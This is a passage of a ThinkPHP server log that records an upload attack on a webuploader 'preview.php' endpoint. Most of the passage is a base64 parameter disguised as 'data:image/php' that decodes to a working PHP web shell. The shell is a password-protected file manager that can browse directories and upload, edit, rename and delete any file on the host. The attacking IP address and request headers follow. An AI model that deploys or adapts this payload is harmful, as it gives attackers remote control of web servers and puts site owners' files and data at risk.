'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'user' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:29+08:00 ] 116.213.36.234 POST www.51tianwei.com/static/admin/js/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002541s] [吞吐率:393.57req/s] [内存消耗:196.89kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 